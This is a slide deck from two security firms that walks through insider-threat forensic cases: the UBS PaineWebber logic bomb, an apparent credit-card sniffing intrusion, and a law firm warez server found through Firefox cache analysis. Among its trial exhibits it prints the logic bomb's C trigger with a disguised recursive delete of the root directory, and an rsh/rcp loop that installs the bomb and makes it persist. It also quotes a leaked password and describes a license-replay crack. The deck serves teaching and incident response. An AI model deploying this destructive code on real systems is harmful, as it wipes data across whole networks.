Intrepidus Group

- Information security consulting company
- Services include:
  - Application Security
  - Network Security
  - Mobile Security
- Located in Chantilly, VA & NYC
- Internationally acclaimed experts:
  - Presented at Black Hat, DefCon, Hack In The Box, OWASP
  - Written articles for SecurityFocus, SC Magazine
  - Quoted in Forbes, InformationWeek, Hacker Japan, BBC UK, Industry Week, OptimizeMag
Jones, Rose, Dykstra and Associates

- Founded in January 2007
- We specialize in:
  - e-Discovery Services
  - Incident Response
  - Government Services
  - Computer Security Training
- Located in Columbia, MD
Insider “Hacks”: Investigation Challenges

- Hacker has deep system knowledge
- Minimal footprint of attack
  - No port scanning activity
  - Logs may be altered or deleted
  - Little to no evidence of a “break in”
- Hacker may be “in” on the investigation!
United States v/s Roger Duronio
Overview

- **The Victim**: UBS PaineWebber (UBS-PW)
- **The Defendant**: Roger Duronio
- **The Crime**:
  - November 2001 – March 4, 2002
  - A Logic Bomb on over 1,000 UBS-PW Computer Systems Deleted the File System on March 4, 2002 at 9:30AM
- **The Loss**:
  - $3,146,289 Spent on Clean Up Efforts
The Defendant

- Roger Duronio
- Unix Systems Administrator for UBS-PW
- Received less in yearly bonuses than he anticipated
- Bought UBS PUT Options due to expire in Mid March, 2002
  - Makes money if the stock loses value
The Investigation

- March 4, 2002 through July 2006
- U.S. Secret Service, Special Agent O’Neil, Lead Investigator, Morristown, NJ
- U.S. Assistant Attorneys Mauro Wolfe and V. Grady O’Malley, Newark, NJ
- Keith J. Jones, Computer Forensic and Computer Security Expert Witness for the Government
The Indictment

1. Securities Fraud
2. Computer Use During the Fraud
3. Mail Fraud #1
4. Mail Fraud #2
The Evidence

- 20 Backup Tapes from Relevant Servers
  - AIX
  - Solaris
- VPN Logs
- 1 @Stake Report from the Initial Response
- 70+ Tapes from the Affected Branch Servers
  - 16 Analyzed
- 4 EnCase Images of Duronio’s Home Computer Systems
- 1 Hard Copy of the Logic Bomb found on Duronio’s Bedroom Dresser
Logic Bomb Components

- **Trigger Mechanism**
- Payload
- Delivery Mechanism
- Persistence Mechanism
Trigger Mechanism

- The Trigger Runs Continuously and Waits for an Event. Once the Event Occurs, the Trigger Executes the Logic Bomb’s Payload.
while(TRUE) {
    Clock = time(&tloc);
tm = localtime(&Clock);

    if(tm->tm_mon == 2 || tm->tm_mon==3 || tm->tm_mon==4) {
        if(tm->tm_wday == 1) {
            if(tm->tm_hour >= 9) {
                if(tm->tm_min >= 30) {
                    system("/usr/sbin/mrm -r &");
break;
                } else {
                    sleep(60);
                }
            } else {
                sleep(3600);
            }
        } else {
            sleep(60*60*24);
        }
    } else {
        sleep(24*60*60*10);
    }
}
Is it March, April, or May?  

Y: Sleep 864,000 Seconds (10 Days)  
N: Is it Monday?  

Y: Sleep 86,400 Seconds (1 Day)  
N: Is it later or equal to 9:00 AM?  

Y: Sleep 3600 Seconds (1 Hour)  
N: Is it later or equal to 9:30 AM?  

Y: Sleep 60 Seconds (1 Minute)  
N: Delete Every File  

“RPC.LOGD” was Discovered on the SA Host. The Original Source Code Name Was “wait_tst.c”
Logic Bomb Components

- Trigger Mechanism
- Payload
- Delivery Mechanism
- Persistence Mechanism
The Payload of a Logic Bomb was the Unix Remove ("rm") Command Disguised as "mrm".

```
system("/usr/sbin/mrm -r / &");
```

Exhibit 721
Logic Bomb Components

- Trigger Mechanism
- Payload
- Delivery Mechanism
- Persistence Mechanism
Delivery Mechanism

- A Delivery Mechanism is Used to Distribute and Install a Logic Bomb on Multiple Remote Computers Nationwide.
for i in `cat ll_l`
do
  rcp /usr/sbin/rpc.logd $i:/usr/sbin/rpc.logd
  rcp /usr/sbin/rpc.logd $i:/usr/sbin/syschg
  rcp llines $i:/tmp/llines
  rsh $i 'cat /etc/rc.nfs /tmp/llines >/tmp/rc.nfs'
  rsh $i mv /tmp/rc.nfs /etc/rc.nfs
  rsh $i cp /usr/bin/rm /usr/sbin/mrm
  rsh $i "nohup /usr/sbin/rpc.logd </dev/null >/dev/null 2>&1 &"
  rsh $i 'echo /usr/bin/syschg | at -t 200203010930'
done
exit
Logic Bomb Components

- Trigger Mechanism
- Payload
- Delivery Mechanism
- Persistence Mechanism
Persistence Mechanism

- A Persistence Mechanism Assures that a Logic Bomb Always Executes Upon Restart.
Persistence Mechanism

if [ -x /usr/sbin/rpc.logd ]; then
    start rpc.logd /usr/sbin/rpc.logd
fi

The Persistence Mechanism is Hidden in the RC.NFS Startup Script.
What Did We Find?
Verizon Session Logs

- Username
- User’s Home IP Address
- Start of Session
- End of Session
- User Home Address
<table>
<thead>
<tr>
<th>User ID</th>
<th>User's Home IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>duronio</td>
</tr>
<tr>
<td>Billing Origin</td>
<td>Bell Atlantic</td>
</tr>
<tr>
<td>Domain</td>
<td>bellatlantic.net</td>
</tr>
<tr>
<td>Address</td>
<td></td>
</tr>
<tr>
<td>City</td>
<td></td>
</tr>
<tr>
<td>State</td>
<td></td>
</tr>
<tr>
<td>Zip</td>
<td></td>
</tr>
<tr>
<td>Asst. Phone Number</td>
<td></td>
</tr>
<tr>
<td>ADSL Phone Number</td>
<td></td>
</tr>
<tr>
<td>GSP</td>
<td></td>
</tr>
<tr>
<td>Status</td>
<td>Active</td>
</tr>
<tr>
<td>Payment Method</td>
<td>Credit Card</td>
</tr>
<tr>
<td>Credit Card Expires</td>
<td>June 1 2002</td>
</tr>
<tr>
<td>HUB Location</td>
<td></td>
</tr>
</tbody>
</table>

Start Time: (8:24 AM)

End Time: (11:08 PM)
VPN Logs

- Connection Time
- UBS PaineWebber Employee’s Username
- UBS PaineWebber Employee’s Home IP Address
- UBS PaineWebber Server IP Address
WTMP Logs

- Username
- Source IP Address
- Session Start Time
- Session End Time
- Session Time Length
rduronio successfully logs into the SA Host from DEV02 from 3:40 PM through 3:43 PM

rduronio successfully logs into the SA Host from the VPN Gateway from 3:08 PM through 3:47 PM
Switch User (SU) Logs

- Time of Switch
- Original Username
- Resulting Username
<table>
<thead>
<tr>
<th>Time of Switch (3:09 PM)</th>
<th>Original Username</th>
<th>Resulting Username</th>
</tr>
</thead>
<tbody>
<tr>
<td>SU 11/18 15:09 + pts/46</td>
<td>rduronio-root</td>
<td>root</td>
</tr>
</tbody>
</table>
Expert Conclusions

1. The Forensic Examination Revealed the Existence of the Trigger Mechanism of a Logic Bomb on Two of Roger Duronio’s Home Computers (the “Duronio Trigger”). The Duronio Trigger Would Cause a Logic Bomb to Delete all Files on a Computer at 9:30 a.m. on Monday, March 4, 2002, and at 9:30 a.m. every Monday in March, April, and May 2002.
Expert Conclusions

2. The Forensic Examination Revealed that a Logic Bomb, Containing the Duronio Trigger, was Distributed and Intentionally Installed on over 1,000 Computers Nationwide within the UBS PaineWebber Computer Network.
3. The Forensic Examination Revealed that at 9:30 a.m. on Monday, March 4, 2002, the Logic Bomb Executed and Began Deleting Every File on over 1,000 Computers Nationwide within the UBS PaineWebber Computer Network.
Expert Conclusions

4. The Forensic Examination Revealed that Roger Duronio’s Usernames and Home Computers were Directly Linked to the Creation, Modification, Distribution, Installation, and Execution of the Logic Bomb on over 1,000 Computers Nationwide within the UBS PaineWebber Computer Network.
The Verdict?

1. Securities Fraud
   - GUILTY
2. Computer Use During the Fraud
   - GUILTY
3. Mail Fraud #1
   - NOT GUILTY
4. Mail Fraud #2
   - NOT GUILTY
The Sentence?

- Roger Duronio was sentenced to 97 months in jail, which was the maximum he could receive.
The Phantom Insider
Symptoms

☐ An employee of a retail company, on the corporate network cannot access e-mail

☐ The IT guy finds the following:
  ▪ Unable to ping the mail server from the employee’s workstation
  ▪ Virtual network adapter with IP address 10.8.0.5
  ▪ Ethernet address is 10.1.0.205
  ▪ Mail server IP: 10.8.0.2
Deeper Investigation

- OpenVPN service running on the machine
- Spurious connections to the outside world
Deeper Investigation

- Running “net use” shows that the C$ share of a server in the credit processing network has been successfully mapped
- Netbios connections from the store network
Deeper Investigation

- Firewall rule-set honing efforts under way
- Extensive logging enabled on both:
  - Store to Corporate Network Firewall
  - Corporate Network to Credit Processing Network Firewall
- No port scanning activity!
- Connections from victim to 1 of 3 credit card processing servers visible
Time Out

What do we know so far?

- Attack originated from a store network
- Compromised an employee workstation
- Netbios connection established to victim workstation
- Workstation has OpenVPN connection to IP address in a foreign country
- Workstation also established connection to a credit card processing server
Investigation Continues...

- What did the attacker do on the credit card processing server?
  - Sniffed on specific TCP ports related to a specific credit processing system
  - Captured credit transactions in transit and stored them on flat files
  - Transferred flat files to victim workstation for transmission via the OpenVPN connection to the outside world
Investigation Continues...

- Is the attacker a store employee? Or was the store network used as a launch pad
  - The attacker’s source IP was attained via a wireless connection
  - Identity of the attacker was still unknown
  - Now we knew that he/she had to be in close proximity of the store
  - Potentially compromised a BDC at the store location. Vulnerability scan showed a plethora of avenues.
The Hunt Begins...

- Antiquated wireless infrastructure was no very supportive of investigative activity
- Configured the DHCP server to alert on any wireless IP assignment on the affected store network
- Turned down transmit power on the AP
- Installed directional antennae to reduce the scope of signal propagation
Anti-climax

☐ Investigation called off
☐ Any ideas on wireless client signal mapping?
☐ High probability of insider involvement
  ■ No footprint of reconnaissance
  ■ One of the few older wireless installations attacked
  ■ Sniffing for very specific strings on specific TCP ports on the credit processing server
  ■ Attacker activity noticed at times coinciding with batch credit card data transfers
Who Let The Cat Out Of The Bag?
Case Notes

- 8.25 pm on March 18, 2005
- Lawyer is struggling to get his document uploaded to the firm’s document management system
- Error message: “You have reached the storage limit. Please call your system administrator”
- The administrator, Joe Schmo’s voice mail indicated he was on vacation from March 7 – March 21, 2005
- 500GB of MP3s, MPEGs, pirated software were found on the document management system under Joe’s profile
Investigation

- Expert forensics examiners hired
- Joe’s hard drive was duplicated forensically
- Amongst other things, we reviewed web browsing activity
- IE and Firefox were used on the system
Primer

- **Cached Pages**
  
  C:\Documents and Settings\jschmo\Local Settings\Temporary Internet Files\Content.IE5\

- **Internet browsing activity logs (history)**
  
  C:\Documents and Settings\jschmo\Local Settings\History\History.IE5\

- **Cookies**
  
  C:\Documents and Settings\jschmo\Cookies\
Index.dat

- Maps logged URLs to cached files
- Microsoft proprietary binary format
- Manual reconstruction is tedious
- “Pasco” to the rescue
Pasco
Back to the Investigation

Cached file: 8R9KCL4N\HoTMail[1].htm
Investigation Continues...

Searching for cracks for the document management system
Forensic Tool Kit (FTK)

- Commercial forensics analysis tool
- Allows browsing of cached pages in a web browser-like interface
Gotchas

- Cracks were searched for on March 10, 2007
- Joe was vacationing in Florida at that time
- Searches for travel to Sao Paulo were not likely to be performed by Joe...he went to Florida
- Was Joe’s machine being used by someone else?
Primer

- **Cached files**
  - `\Documents and Settings\<user name>\Application Data\Mozilla\Firefox\Profiles\<random text>\Cache`

- **Tools discussed are insufficient**

- **3 types of files in the cache directory**
  - Cache Map File
  - Three Cache Block Files
  - Cache Data Files
Cache Map File

CACHE_MAP

- 32 buckets
- 256 records/bucket
- Record contains
  - Hash Number
  - Eviction Rank
  - Data Location
  - Metadata Location
Cache Block Files

- Cached data is stored in a Cache Block file or a separate file is created
- Hash number is used to save separate file
- Cache Block files are named \_CACHE\_00N\_

\[ N = \left( (\text{metadata location}) \&\& 0x30000000 \right) \ll 28 \]
Cache Block Files

- Where is the data located?

  \[
  \text{Start Block} = (\text{metadata location}) \& \& 0x00FFFFFF \\
  \text{Number of blocks} = ((\text{metadata location}) \& \& 0x03000000) >> 24 \\
  \text{Block size} = 256 \times N \text{ bytes} \\
  \text{Bitmap Header} = 4096 \text{ bytes}
  \]

- If cache content does not fit in cache Block files, the information is stored in a separate file named as follows:

  \[
  <\text{HASH NUMBER}> <\text{TYPE}> <\text{GENERATION NUMBER}>
  \]

  Type = d (data) or m (metadata)

  Generation Number = (metadata location) \& \& 0x000000FF
Cache Reconstruction

- Tool: Cache View
- Provides:
  - URL
  - Name of Cached File
  - File Size
  - File Type
  - Last Modified Date
  - Download Date
  - Expiry Date
Cache View

- Point to cached files on the evidence medium
Retrieving the Cached Files

- Copy the visited web pages into a known folder e.g. Desktop
- gunzip the copied files
- Open the unzipped files using Firefox
From: Mike Green <mikeyg@green.org>
Sent: Sunday, April 17, 2005 11:33 PM
To: tedw1982@hotmail.com
Subject: RE: enjoy

Hey Ted,
Thankz for da password...
Check the server, all the AliG mpegs are on there.
Ya’ll have to sort by date to find it....i put the first one the day you gave me access.
Mes enjoying this private Kazaa of ours :)

Sir
mikey

-----Original Message-----
From: Ted Wilson[mailto:tedw1982@hotmail.com]
Sent: Thursday, March 10, 2005 10:03 PM
To: Mike Green
Subject: enjoy

Dude,
Heres what you need:
IP: law1.docustodian.com
user: joeschmo
pass: Fl0r1Da-2005
you can get the client software from the docustodian
website and i'll send you the crack soon :)

booshaka!
Email Summary

- Extracted Firefox page showed the use of tedw1982@hotmail.com on the system
- Email sent by that account on March 10, 2005 at 10.05 pm
- Contents of the email:
  - Joe’s user credentials for the document manager
  - Link to client software
  - License crack to follow
- Ted, the substitute administrator, was responsible for the Warez server
Last Nail in the Coffin

- Licensecrack.java found on the system
- File creation time 7.32pm at March 11, 2005
Licensecrack.java

Comments preceding the code:

/*
This program should be run on the same LAN
as the Docustodian client machine.
Modify the hosts file on the client machine accordingly
It tricks the client in believing that it has a valid license
to access the server
Author: Ted W
*/
Licensecrack.java

- Exploited vulnerability in Docustodian licensing scheme
- Replay attack
- Client was responsible for final approval of authenticity
Combating the Insider

- Audit trails are key
  - Ensure logging of administrative activities to a centralized location
  - Separate the tasks of system administration and log review as much as possible
- Perform pre-employment background checks
  - Past performance is an indicator of the future in this case
- Take cue from financial institutions
  - Mandatory vacations – 2 contiguous weeks
- Monitor outbound activity
- Establish employee termination procedures
Questions?
Contact Information

☐ Rohyt Belani
rohyt.belani@intrepidusgroup.com

☐ Keith Jones
keith.jones@jrdcorp.com